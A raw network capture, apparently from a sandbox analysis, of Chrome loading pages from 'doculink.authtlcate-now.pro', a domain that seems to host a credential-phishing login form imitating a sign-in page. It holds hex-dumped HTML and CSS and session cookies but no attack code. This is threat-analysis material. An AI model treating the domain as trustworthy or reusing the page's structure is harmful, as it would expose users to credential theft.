2024-04-25 13:31:14 UTC	919	OUT	GET /favicon.ico HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:14 UTC	700	IN	HTTP/1.1 404 Not Found Date: Thu, 25 Apr 2024 13:31:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LyAgJlecNe34f1dImW9d8jZ0Tm0tOP9Ew4U2QZybbU04JkOfv9p3k4j1iUji0QkQ%2BK41Q5azx9YqA4EXdHfUxGgSBcUa92DZlFVqInFPbqN7J5eS%2BLH3VjUB80oxtHmfoQAukspqVwQwufmLOHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1360b924529-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:14 UTC	669	IN	Data Raw: 34 64 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 Data Ascii: 4d6<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helveti
2024-04-25 13:31:14 UTC	576	IN	Data Raw: 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 Data Ascii: this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rg
2024-04-25 13:31:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49801	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	957	OUT	GET /APP-3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff53/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff54 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	753	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:31:15 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FrKgz6dMkVu3KKNjRmo7pZSBR9MQIffZTtq7Ua76cd5wa5azsGD6UW%2Fv2CSMz7gpdxNqK2Dm2Ja1X75wX0Go0SSfMoYfn7t%2FUAGE0CubMwn6tIPvNrieyL%2FBCTXO4JP2Nge5GkjNXGQmjPxnFbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a6a3badb3-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	616	IN	Data Raw: 37 63 62 65 0d 0a 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: 7cbehtml{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-blo
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 30 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 7d 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 Data Ascii: t:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-fami
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 2c 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 Data Ascii: moz-box-sizing:border-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dot
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 36 36 36 7d 61 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 74 65 78 74 2d 6e 6f 77 72 61 70 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c Data Ascii: text-decoration:none}a:link{color:#0067b8}a:visited{color:#0067b8}a:hover{color:#666}a:focus{color:#0067b8}a:active{color:#999}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:l
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 38 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d Data Ascii: -maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:84.5432px;max-height:5.28395rem}.text-headline.text-maxlines-2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 61 64 65 72 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 2c 68 32 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 36 2e 33 36 32 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 33 39 37 36 35 72 65 6d 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 Data Ascii: ader.text-maxlines-4,h2.text-maxlines-4{max-height:166.3624px;max-height:10.39765rem}.text-title,h3{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 30 32 32 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 6d 61 Data Ascii: lines-1{white-space:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.text-caption.text-maxlines-2,h5.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;ma
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 35 35 36 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2c 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 32 37 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 32 37 70 78 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 Data Ascii: nes-4{max-height:40.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;te
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 6e 6c 69 6e 65 3e 6c 69 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 32 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 32 70 78 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 72 65 76 65 72 73 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 Data Ascii: nline>li{display:inline-block;padding-left:4px;padding-right:4px}blockquote{padding:8px 12px;margin:0 0 12px}.blockquote-reverse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-flui
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2e 63 6f 6c 2d 6c 67 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 6c 2d 6d 64 2d 31 38 2c 2e 63 6f 6c 2d 6c 67 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 73 6d 2d 31 39 2c 2e 63 6f 6c 2d 6d 64 2d 31 39 2c 2e 63 6f 6c 2d 6c 67 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 73 6d 2d 32 30 2c 2e 63 6f 6c 2d 6d 64 2d 32 30 2c 2e 63 6f 6c 2d 6c 67 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 73 6d 2d 32 31 2c 2e 63 6f 6c 2d 6d 64 2d 32 31 2c 2e 63 6f 6c 2d 6c 67 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 73 6d 2d 32 33 2c 2e 63 Data Ascii: .col-lg-17,.col-xs-18,.col-sm-18,.col-md-18,.col-lg-18,.col-xs-19,.col-sm-19,.col-md-19,.col-lg-19,.col-xs-20,.col-sm-20,.col-md-20,.col-lg-20,.col-xs-21,.col-sm-21,.col-md-21,.col-lg-21,.col-xs-22,.col-sm-22,.col-md-22,.col-lg-22,.col-xs-23,.col-sm-23,.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49800	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	568	OUT	GET /1 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	760	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rLh0l49t11lvEDHWFICDUN2%2FUKqtF%2FnH9z6HtIjabHvxCgzo%2BUMRBViYXkIwE9QhzVchtuZykobL7RQcM3MbUbua996d%2Blyx7AaCbaS9Nxp6GaK8%2BKuM38qCAm%2BY2M0v20rYIni9E3tQ34UiBYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a7a894557-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	609	IN	Data Raw: 37 35 33 63 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 31 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 34 38 61 64 65 31 32 35 34 32 36 33 30 33 39 32 38 64 35 66 36 37 37 62 35 66 63 63 37 36 36 34 36 36 32 61 35 62 32 30 37 32 62 62 30 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: 753c <html dir="ltr" class="3ab171f76fa12ca7e775f401a8a53f3e662a5b231d018" lang="en"> <head> <title> 48ade125426303928d5f677b5fcc7664662a5b2072bb0 </title> <meta http-equiv="Content-Type" content="text/html; cha
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 64 30 31 64 2f 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 31 65 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 31 66 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 33 61 62 31 37 31 66 37 36 Data Ascii: d01d/3ab171f76fa12ca7e775f401a8a53f3e662a5b231d01e" rel="stylesheet"> </head> <body class="cb 3ab171f76fa12ca7e775f401a8a53f3e662a5b231d01f" style="display: block;"> <div> <div> <div class="background 3ab171f76
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 34 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 34 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 Data Ascii: ab171f76fa12ca7e775f401a8a53f3e662a5b231d041"> <div id="log_form" class="inner fade-in-lightbox 3ab171f76fa12ca7e775f401a8a53f3e662a5b231d042"> <div class="lightbox-cover 3ab171f76fa12ca7e775f401a8a53f3e
